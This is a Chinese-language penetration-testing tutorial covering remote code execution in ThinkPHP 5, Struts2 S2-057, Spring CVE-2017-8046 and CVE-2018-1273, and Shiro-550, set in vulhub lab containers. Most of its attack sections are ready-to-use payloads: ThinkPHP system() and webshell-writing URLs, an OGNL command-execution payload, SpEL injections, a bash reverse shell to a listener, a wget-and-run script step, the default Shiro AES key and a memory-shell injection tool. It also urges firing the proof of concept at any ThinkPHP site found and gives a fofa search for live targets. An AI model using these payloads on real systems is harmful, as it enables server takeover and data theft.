常见框架漏洞 上 (Thinkphp、struts2、Spring、Shiro)

目录

框架

Thinkphp(TP)

简介

Thinkphp5x远程命令执行及getshell

环境配置

漏洞利用

struts2

简介

判断Struts2框架

S2-057远程执行代码漏洞

环境

漏洞简介

漏洞利用

Spring

简介

[Spring Data Rest 远程命令执行命令(CVE-2017-8046)](#Spring Data Rest 远程命令执行命令(CVE-2017-8046))

环境

spring代码执行(CVE-2018-1273)

漏洞简介

影响版本

环境搭建

漏洞利用

Shiro

简介

Shiro漏洞原理

Shiro漏洞指纹

漏洞原理

影响版本

验证Shiro框架

命令执⾏


框架

Web框架(Web framework)或者叫做Web应用框架(Web application framework),是用于进行Web开发的一套软件架构。大多数的Web框架提供了一套开发和部署网站的方式。为Web的行为提供了一套支持支持的方法。使用Web框架,很多的业务逻辑外的功能不需要自己再去完善,而是使用框架已有的功能就可以。

Thinkphp(TP)

简介

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。TP(2-6)(5-目前使用率较高的)

Thinkphp5x远程命令执行及getshell

thinkphp5最出名的就是rce

环境配置

kali: 192.168.56.134

靶场:

cd ~/Desktop/vulhub-master/thinkphp/5-rce
docker-compose up -d 

访问靶场:http://192.168.207.129:8080

漏洞利用

漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。

远程命令执行

POC:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

getshell

POC:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>1.php

根目录生成1.php 文件,输出phpinfo()

Thinkphp被曝很多漏洞,截至目前位置3x -- 6x的各个版本都被爆有大量漏洞,遇到TP的站,直接打poc就可以了;

struts2

简介

Apache Struts 2 最初被称为 WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。

Struts 2是一个基于MVC设计模式的web应用框架:

MVC:模型(Model)、视图(View)、控制器(Controller):

模型 --- 属于软件设计模式的底层基础,主要负责数据维护

视图 --- 这部分是负责向用户呈现全部或部分数据

控制器 --- 通过软件代码控制模型和视图之间的交互。

Struts 2在2007年7月23日发布的第一个Struts 2漏洞S2-001。

Struts2漏洞是一个远程命令执行漏洞和开放重定向漏洞。利用漏洞,黑客可发起远程攻击不但可以窃取网站数据信息,甚至还可取得网站服务器控制权。而且,目前针对此漏洞的自动化工具开始出现,攻击者无需具备与漏洞相关的专业知识即可侵入服务器,直接执行命令操作,盗取数据甚至进行毁灭性操作。

OGNL表达式

OGNL(Object-Graph Navigation Language的简称),struts框架使用OGNL作为默认的表达式语言。

它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。

OGNL是通常需要结合Struts 2的标志一起使用的,主要是#、%、$z这三个符号的使用:

#:获得contest中的数据;

%:强制字符串解析成OGNL表达;

$:在配置文件中可以使用OGNL表达式。

判断Struts2框架

1.通过网页后缀来判断,如.do .action,有可能不准。

2.判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。

3.通过 actionErrors,要求是对应的Action 需要继承自 ActionSupport 类

a.如原始URL为https://threathunter.org/则检测所用的URLhttps://threathunter.org/?actionErrors=1111;

如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:

1、页面直接出现 404 或者 500 等错误。

2、0页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。

3、页面的内容结构发生了明显的改变。

4、页面发生了重定向。

S2-057远程执行代码漏洞

环境

kali vulhub靶场:

cd ~/Desktop/vulhub-master/struts2/s2-057

漏洞简介

漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生

S2-057 先决条件:

alwaysSelectFullNamespace 正确-操作元素未设置名称空间属性,或使用了通配符用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执行漏洞。

漏洞利用

http://192.168.207.129:8080/struts2-showcase

在url处输入

http://192.168.207.129:8080/struts2-showcase/${(123+123)}/actionChain1.action

后刷新可以看到中间数字位置相加了

刷新页面,利用BurpSuite抓包并改包,将上面验证payload的值修改为我们的利用exp

POC:

${

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

url编码后的poc:

/struts2-showcase/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

Spring

简介

Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架,

2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL(Spring ExpressionLanguage)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。

因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等SpEL是什么?

SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。

SpEL原理如下:

1.表达式:可以认为就是传入的字符串内容;

2.解析器:将字符串解析为表达式内容;

3.上下文:表达式对象执行的环境;

4.根对象和活动上下文对象:根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象。

Spring Data Rest 远程命令执行命令(CVE-2017-8046)

环境

kali vulhub靶场:

cd vulhub-master/spring/CVE-2017-8046

fofa: icon hash="116323821" / app="vmware-SpringBoot-framework'

  1. 访问 http://your-ip:8080/customers/1,然后抓取数据包,使用PATCH请求来修改

    PATCH /customers/1 HTTP/1.1

    Host: localhost:8080

    Accept-Encoding: gzip, deflate

    Accept: /

    Accept-Language: en

    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

    Connection: close

    Content-Type: application/json-patch+json

    Content-Length: 202

    [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value":"vulhub" }]

其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,11

5} 表示的命令 touch /tmp/success ⾥⾯的数字是ascii码成功发送数据包之后,可以进⼊docker容器内查看是否执⾏命令

进⼊docker容器:

spring代码执行(CVE-2018-1273)

漏洞简介

Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring DataCommons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在一处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命令。

影响版本

Spring Data commons 1.13-1.13.10(Ingalls SR10)Spring Data REST 2.6-2.6.10(Ingalls SR10)Spring Data Commons 2.0-2.0.5(Kay SR5)Spring Data REST 3.0-3.0.5(Kay SR5)

官方已经不支持的旧版本

环境搭建

cd vulhub-master/spring/CVE-2018-1273

漏洞利用

访问靶场地址:http://192.168.207.129:8080/users

填写注册信息,bp抓包:

替换成poc :

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=

进⼊终端查看,可以看到成功写⼊:

docker exec -it 517f791b13a2 /bin/bash

反弹shell

写⼀个 反弹shell 脚本,并开启http服务:

bash -i >& /dev/tcp/192.168.207.129/9999 0>&1

靶机下载执⾏ sh 脚本:

​/usr/bin/wget -qO /tmp/shell.sh http://192.168.3.162/shell.sh

执⾏脚本:

/bin/bash /tmp/shell.sh

kali nc监听:nc -lvp 9999

Shiro

简介

Apache Shiro是⼀个强⼤易⽤的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易⽤,同时也能提供健壮的安全性。

Shiro漏洞原理

在Shiro框架下,⽤户登陆成功后会⽣成⼀个经过加密的Cookie。其Cookie的Key的值为RememberMe,Value的值是经过序列化、AES加密和Base64编码后得到的结果。服务端在接收到⼀个Cookie时,会按照如下步骤进⾏解析处理:

检索RememberMe Cookie的值

进⾏Base64解码

进⾏AES解码

进⾏反序列化操作

在第4步中的调⽤反序列化时未进⾏任何过滤,进⽽可以导致出发远程代码执⾏漏洞。

由于使⽤了AES加密,成功利⽤该漏洞需要获取AES的加密密钥,在Shiro1.2.4版本之前AES的加密密钥为硬编码,其默认密钥的Base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,于是就可得到Payload的构造流程:恶意命令-->序列化-->AES加密-->base64编码-->发送Cookie

Shiro漏洞指纹

响应包中存在字段set-Cookie: rememberMe=deleteMe

Shiro rememberMe反序列化漏洞(Shiro-550)

漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),⽤户登录成功后会⽣成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

那么,Payload产⽣的过程:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

在整个漏洞利⽤过程中,⽐较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是⼗分的简单。

影响版本

环境kali vulhub靶场:

cd vulhub-master/shiro/CVE-2016-4437

验证Shiro框架

使⽤BurpSuite进⾏抓包,在请求包中的cookie字段中添加rememberMe=123;,看响应包header中是否返回rememberMe=deleteMe值,若有,则证明该系统使⽤了Shiro框架:

命令执⾏

利⽤⼯具,命令执⾏:

shiro_attack⼯具:https://github.com/j1anFen/shiro_attack

点击内存马,执行注入---注入成功

打开哥斯拉连接!

相关推荐
Miketutu8 小时前
Spring MVC消息转换器
java·spring
小小虫码10 小时前
项目中用的网关Gateway及SpringCloud
spring·spring cloud·gateway
云空11 小时前
《DeepSeek 网页/API 性能异常(DeepSeek Web/API Degraded Performance):网络安全日志》
运维·人工智能·web安全·网络安全·开源·网络攻击模型·安全威胁分析
doubt。11 小时前
8.攻防世界Web_php_wrong_nginx_config
网络·安全·web安全·网络安全
aaaweiaaaaaa14 小时前
php的使用及 phpstorm环境部署
android·web安全·网络安全·php·storm
带刺的坐椅15 小时前
无耳科技 Solon v3.0.7 发布(2025农历新年版)
java·spring·mvc·solon·aop
精通HelloWorld!18 小时前
使用HttpClient和HttpRequest发送HTTP请求
java·spring boot·网络协议·spring·http
LUCIAZZZ19 小时前
基于Docker以KRaft模式快速部署Kafka
java·运维·spring·docker·容器·kafka
泪不是Web妳而流19 小时前
BurpSuite抓包与HTTP基础
网络·经验分享·网络协议·安全·http·网络安全·学习方法
拾忆,想起19 小时前
如何选择Spring AOP的动态代理?JDK与CGLIB的适用场景
spring boot·后端·spring·spring cloud·微服务